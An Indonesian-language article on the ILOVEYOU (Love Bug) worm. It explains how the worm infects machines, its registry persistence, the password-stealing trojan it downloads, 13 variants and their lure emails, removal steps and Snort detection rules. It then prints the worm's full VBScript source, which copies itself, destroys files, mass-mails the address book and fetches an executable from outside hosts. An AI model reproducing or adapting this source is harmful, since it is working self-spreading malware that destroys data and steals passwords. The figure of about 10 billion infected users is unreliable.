The
Love Letter and it's variants
Love Bug telah menghantam hampir 10.000.000.000 users
dalam waktu kurang dari seminggu sejak keberadaannya.
Kerusakan olehnya diyakini melebihi akibat oleh Melissa.
Dan diyakini sebagai satu dari Sejarah virus yang
terbesar dengan sekitar 13 varian yang tersebar.
Worm ini disebarkan melalui e-mail dan IRC dan ditulis
dengan Vbscript. Sejauh ini hanya menginfeksi pemakai
Windows yang mana terinstalasi Windows Scripting Host.
(Ini berarti pemakai yang memiliki IE 5.0 pada suatu
Win98, Win95 system atau Win98 dengan Active Desktop
Update.) Dan menggunakan Outlook Express untuk mengirim
dirinya pada semua alamat email yang berada di Address
Book.
Virus ini datang dengan suatu .vbs file attachment.
Subject dan Body dari virus bervariasi dan lebih dari 13
variant dari worm ini.
Virus aslinya disebarkan dengan
Subject: ILOVEYOU
Body: kindly check the attached LOVELETTER coming from
me.
Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
Notice the .TXT part in the attachment name. This has
been possibly done to fool users into assuming that the
attached file is only a safe to use text document. In
reality the attachment is a dangerous snippet of
VbScript code.
Sesaat dijalankan, virus akan memeriksa apakah key
berikut diset ke nilai positif atau tidak.
HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout
Jika berupa angka positif, selanjutnya diubah ke nol.
Jika key tersebut tidak ada, selanjutnya dia tidak
berpengaruh.
Selanjutnya worm ini menduplikasi dirinya pada tiga
lokasi yang berbeda :
1. In the C:\windows\system directory as MSKernel32.vbs
2. In the C:\windows\system directory as
LOVE-LETTER-FOR-YOU.TXT.vbs
3. In the C:\windows directory as Win32DLL.vbs.
Catatan: Jika Windows diinstalasi pada directory lain
seperti C:\Win, folder bersangkutan diatas akan diubah
sesuai dengannya.
Selanjutnya akan membuat isi baru di Registry untuk
secara otomatis dijalankan ketika Windows starts.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL
Hal ini berarti bawah setiap bootup,
C:\windows\system\MSKernel32 dan C:\windows\
Win32DLL.vbs yang telah dibuat oleh worm akan
dijalankan.
Kemudian dia mengubah Home Page atau Start Page pada
Internet Explorer menuju ke suatu page yang telah
didefinisi sebelumnya yang mana darinya akan didownloas
suatu binary file yang bernama
WIN-BUGSFIX.exe. Untuk melakukan hal ini, dia mengedit :
HKCU\Software\Microsoft\Internet Explorer\Main\StartPage
key yang mana berisi default IE home page dan menuju ke
salah satu URL's berikut [dipilih secara random.]
http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe
http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe
http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe
http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNbhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe
Kemudian worm mengubah sejumlah registry key untuk
menjalankan binary file yang telah didownload tersebut :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-UGSFIX
= > (download directory)\win-bugsfix.exe
dan kemudian mengedit Registry untuk mengubah home page
of Internet Explorer kembali ke default blank page.
HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page about:blank
Kemudian dia akan membuat suatu HTML file bernama:
LOVE-LETTER-FOR-YOU.HTM, yang mana mengandung text
berikut :
This HTML file need ActiveX Control
To Enable to read this HTML file - Please press |YES|
button to Enable ActiveX
Selanjutnya ActiveX akan mengedit isi registry untuk
membuatnya dijalankan pada saat booting dan menulis ke
file yang telah dipersiapkan sebelumnya. File ini juga
digunakan worm untuk menyebarkan dirinya. Ini merupakan
file yang di ke pemakai IRC lainnya.
Worm tersebut kemudian membuka suatu MAPI connection ke
Outlook Express dan mengirim dirinya ke semua isi pada
Outlook Address Book. Virus tersebut melampirkan
(attaches) file, LOVE-LETTER-FOR-YOU.TXT.vbs pada
email-email tersebut.
Kemudian dia mencari semua drive dan mulai melakukan
perusakkan. dia mencari file-file dengan extension
berikut pada local drive maupun remote drive :
.vbs, .vbe, .js, .jse, .css, .wsh, .sct, .hta, .jpg,
.jpeg, .wav, .txt, .gif, .doc, .htm, .html, .xls, .ini,
.bat, .com, .mp3, and .mp2.
Semua file dengan extension .vbs, .vbe, .js, .jse, .css,
.wsh, .sct, .hta, .jpg, atau .jpeg diganti dengan
duplikasi dari virus tersebut dengan nama file tersebut
dengan ditambah suatu extension .vbs. Hal ini berarti
jika suatu file dengan nama ankit.bmp kemudian virus
duplikasi dari virus adalah ankit.bmp.vbs
Virus tidak menghapus file dengan extension .mp2 or
.mp3. Bahkan mengubah atribut file menjadi hidden dan
membuat duplikasi dirinya dengan nama dari mp2 atau mp3
yang memiliki extension .vbs.
Kemudian dia mencari mIRC windows IRC client dan jika
ketemu, akan menimpa file script.ini yang mana akan
melakukan DCC file LOVE-LETTER-FOR-YOU.HTM pada orang
yang join ke IRC channel.
Proteksi
Pertama jangan membuka attachment apapun dengan
extension .vbs walaupun nampaknya email tersebut berasal
dari sumber dapat dipercaya, dan hapus email tersebut.
Juga jangan menerima DCC apapun dari seseorang yang
dapat dipercaya.
Baiklah, jika anda telah terinfeksi, bagaimana anda
membersihkan sistem anda ? lakukan prosedure sederhana
berikut :
Catatan: Porsedur pembersihan berikut dapat menyebabkan
ada kehilangan file-file .vbs anda yang berguna.
Pertama dari semuanya adalah hapus isi dari registry
berikut :
HKEY_CURRENT_USER\Software\Microsoft\Windows
ScriptingHost\Settings\Timeout
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL
HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page
Hapus semua file berikut pada semua drive baik local
maupun remote :
LOVE-LETTER-FOR-YOU.HTM
*.vbs
*.vbs
*.vbe
*.js
*.jse
*.css
*.wsh
*.sct
*.hta
Cari file .mp2 and .mp3 file dan buang atibut hidden.
System Administrator harus mem-filter semua mail datang
dan pergi ke: MAILME@SUPER.NET.PH dan juga mencegah
download terhadap WIN-BUGFIX.exe. [Hal ini dapat
dilakukan dengan HTTP Proxy dan Sendmail Rules. Baca hal
tersebut di: http://www2.sendmail.com/loveletter dan
juga periksa
http://biocserver.cwru.edu/~jose/iloveyouhack.txt]
Saya mengambil rules berikut yang akan memfilter Virus
tersebut, dari suatu posting site, bagaimanapun
nampaknya tidak lengkap :
alert tcp any 110 -> any any (msg:"Incoming Love
Letter Worm"; content:"rem barok
-loveletter"; content:"@GRAMMERSoft
Group";)
alert tcp any 143 -> any any (msg:"Incoming Love
Letter Worm"; content:"rem barok
-loveletter"; content:"@GRAMMERSoft
Group";)
alert tcp any any -> any 25 (msg:"Outgoing Love
Letter Worm"; content:"rem barok
-loveletter"; content:"@GRAMMERSoft
Group";)
Penjelasan WIN-BUGSFIX.exe
Bagian executable dari worm tersebut dimana didownload
dari net adalah suatu trojan mencuri password. Berikut
ini diambil dari suatu posting Bugtraq yang mana
menggambarkan cara kerja dari Trojan pencurian password
yang bersesuaian dengan worm tersebut. Pada startup,
trojan mencoba mencari suatu window tersembunyi dengan
nama 'BAROK...'.
Jika ada, trojan tersebut selesai seketika. Jika tidak -
bagian utama dari rutin mengambil control dan memeriksa
keberadaan WinFAT32 subkey pada Registry key berikut:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Jika WinFAT32 subkey tidak ditemukan, trojan tersebut
membuatnya, menduplikasi dirinya ke \Windows\System\
directory sebagai WINFAT32.EXE dan kemudian menjalankan
file dari lokasi tersebut. Modifikasi tersebut diatas
akan membuat trojan menjadi aktif setiap window start.
Kemudian trojan menset Internet Explorer startup page ke
'about:blank'. Setelah itu mencoba mencari dan menghapus
key berikut :
Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds
Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching
.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds
.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching
Kemudian trojan mendaftarkan suatu window class dan
membuat suatu hidden window titled 'BAROK...' dan tetap
residen di memory Windows sebagai suatu hidden
application. Sesaat setelah startup dan ketika counter
timer mencapai nilai tertentu, trojan tersebut memuat
MPR.DLL library, calls WNetEnumCashedPasswords function
dan mengirim password RAS yang telah dicuri ke alamat
email 'mailme@super.net.ph' yang mana nampaknya milik
dari pembuat trojan. Trojan tersebut menggunakan
'smpt.super.net.ph' mail server untuk mengirim email
tersebut. Subject dari e-mail tersebut adalah 'Barok...
email.passwords.sender.trojan'. "
WIN-BUGSFIX.exe program melakukan koneksi ke SMPT server
pada 199.108.232.1 port 25
Untuk mengirim e-mailnya. anda harus melakukan blokir
terhadap alamat tersebut pada firewall. Pesannya sebagai
berikut :
To: mailme@super.net.ph
Subject: Barok... email.passwords.sender.trojan
X-Mailer: Barok... email.passwords.sender.trojan---by:
spyder
Host: kakker
Username: Default
IP Address: 10.67.101.123
RAS Passwords:
Cache Passwords:
BLABLA\MPM : xxx
BJORN\MUSIC : xxx
TOM\SHARED : xxx
TOM2\MP3 : xxx
www.server.com/ : xxx:xxx
MAPI : MAPI
Dimana semua xxx merupakan plaintext usernames dan
passwords dari SMB share pada subnet.
Bagian Referensi The Love Bug.
Bagian ini gambaran umum dari varian the Love Bug-:
VBS.LoveLetter.A
ATTACHMENT: LOVE-LETTER-FOR-YOU.TXT.vbs
SUBJECT LINE: ILOVEYOU
MESSAGE BODY: kindly check the attached LOVELETTER coming from me.
VBS.LoveLetter.B or Lithuania
ATTACHMENT: same as A
SUBJECT LINE: Susitikim shi vakara kavos puodukui...
MESSAGE BODY: same as A
VBS.LoveLetter.C or Very Funny
ATTACHMENT: Very Funny.vbs
SUBJECT LINE: fwd: Joke
MESSAGE BODY: empty
VBS.LoveLetter.D or BugFix
ATTACHMENT: same as A
SUBJECT LINE: same as A
MESSAGE BODY: same as A
INFO: registry entry: WIN- -BUGSFIX.exe instead of WIN-BUGSFIX.exe
VBS.LoveLetter.E or Mother's Day
ATTACHMENT: mothersday.vbs
SUBJECT LINE: Mothers Day Order Confirmation
MESSAGE BODY: We have proceeded to charge your credit card for the amount of $326.92 for the mothers day diamond special. We have attached a detailed invoice to this email. Please print out the attachment and keep it in a safe
place.Thanks Again and Have a Happy Mothers Day! Mothersday@subdimension.com
INFO: mothersday.HTM sent in IRC, & comment: rem hackers.com, & start up page to hackes.com, l0pht.com, or 2600.com
VBS.LoveLetter.F or Virus Warning
ATTACHMENT: virus_warning.jpg.vbs
SUBJECT LINE: Dangerous Virus Warning
MESSAGE BODY: There is a dangerous virus circulating. Please click attached picture to view it and learn to avoid it.
INFO: Urgent_virus_warning.htm
VBS.LoveLetter.G or Virus ALERT!!!
ATTACHMENT: protect.vbs
SUBJECT LINE: Virus ALERT!!!
MESSAGE BODY: a long message regarding VBS.LoveLetter.A
INFO: FROM support@symantec.com. This variant also overwrites files with .bat And .com extensions.
VBS.LoveLetter.H or No Comments
ATTACHMENT: same as A
SUBJECT LINE: same as A
MESSAGE BODY: same a A
INFO: the comment lines at the beginning of the worm code have been removed.
VBS.LoveLetter.I or Important! Read carefully!!
ATTACHMENT: Important.TXT.vbs
SUBJECT LINE: Important! Read carefully!!
MESSAGE BODY: Check the attached IMPORTANT coming from me!
INFO: new comment line at the beginning: by: BrainStorm / @ElectronicSouls. It also copies the files ESKernel32.vbs & ES32DLL.vbs, and MIRC script comments referring to BrainStorm and ElectronicSouls and sends IMPORTANT.HTM to the chat room.
VBS.LoveLetter.J
ATTACHMENT: protect.vbs
SUBJECT LINE: Virus ALERT!!!
MESSAGE BODY: Largely the same as the G variant.
INFO: This appears to be a slight modification of the G variant.
VBS.LoveLetter.K
ATTACHMENT: Virus-Protection-Instructions.vbs
SUBJECT LINE: How to protect yourself from the IL0VEY0U bug!
MESSAGE BODY: Here's the easy way to fix the love virus.
VBS.LoveLetter.L or I Cant Believe This!!!
ATTACHMENT: KillEmAll.TXT.VBS
SUBJECT LINE: I Cant Believe This!!!
MESSAGE BODY: I Cant Believe I have Just Recieved This Hate Email .. Take A Look!
INFO: comment has phrase/words: Killer, by MePhiston, replaces GIF & BMP instead of JPG & JPEG, hides WAV & MID instead of MP3 & MP2. NO IRC routine, there it will not infect chat room users. Copies KILER.HTM, KILLER2.VBS, KILLER1.VBS to the hard disk.
VBS.LoveLetter.M or Arab Air
ATTACHMENT: ArabAir.TXT.vbs
SUBJECT LINE: Thank You For Flying With Arab Airlines
MESSAGE BODY: Please check if the bill is correct, by opening the attached file
INFO: Replaces DLL & EXE files instead of JPG & JPEG. Hides SYS & DLL files instead of MP3 & MP2. Copies no-hate-FOR-YOU.HTM to the hard disk.
##############Source Code dari
LOVELETTER.vbs##############
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
'Comments begining with ' added by The Hidden May 4 2000
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
'check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",
0, "REG_DWORD"
end if
'Create three copies of the script in the windows, system32 and temp folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
'Set IE default page to 1 of four locations that downloads an executable.
'If the exectuable has already been downloaded set it to run at the next login
and set IE's start page to be
blank
regruns()
'create an html file that possibly runs an activex component and runs one of
the copies of the script
html()
'Resend script to people in the WAB
spreadtoemail()
'overwrite a number of file types with the script
'if the files are not already scripts create a script file with the same name
with vbs extention and
'delete the original file
'mirc client have a script added to send the html file created earlier to a
channel
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num, downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",di
rsystem&"\MS
Kernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32D
LL",dirwin&"\
Win32DLL.vbs"
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread = "") then
downread = "c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw658
7345gvsdf7679njbv
YT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5467
86324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhf
gER67b3Vbvg/
WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgq
werasdjhPhjasfdgl
kNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",
downread & "\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page", "about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path & "\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "vbs") or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
(ext = "wsh") or (ext = "sct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
end if
if (eq<>folderspec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will
corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-
FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.Application")
set mapi = out.GetNameSpace("MAPI")
for ctrlists = 1 to mapi.AddressLists.Count
set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
if (regv = "") then
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then
for ctrentries = 1 to a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" &
malead)
if (regad = "") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from
me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead,
1, "REG_DWORD"
end if
x = x + 1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub
sub html
On Error Resume Next
dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1= "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-
@
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-
@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-
#LOVE-
LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-
YOU.HTM#-
#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to
read this HTML file<BR>-
Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------
z------------
--------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2= "set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf&
_
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-
^Windows^-
^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf&
_
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
set fso = CreateObject("Scripting.FileSystemObject")
set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll, vbcrlf)
l1 = ubound(lines)
for n = 0 to ubound(lines)
lines(n)=replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n)=replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n)=replace(lines(n), "\", chr(37) + chr(45) + chr(37))
if (l1 = n) then
lines(n) = chr(34) + lines(n) + chr(34)
else
lines(n) = chr(34) + lines(n) + chr(34) & "&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
|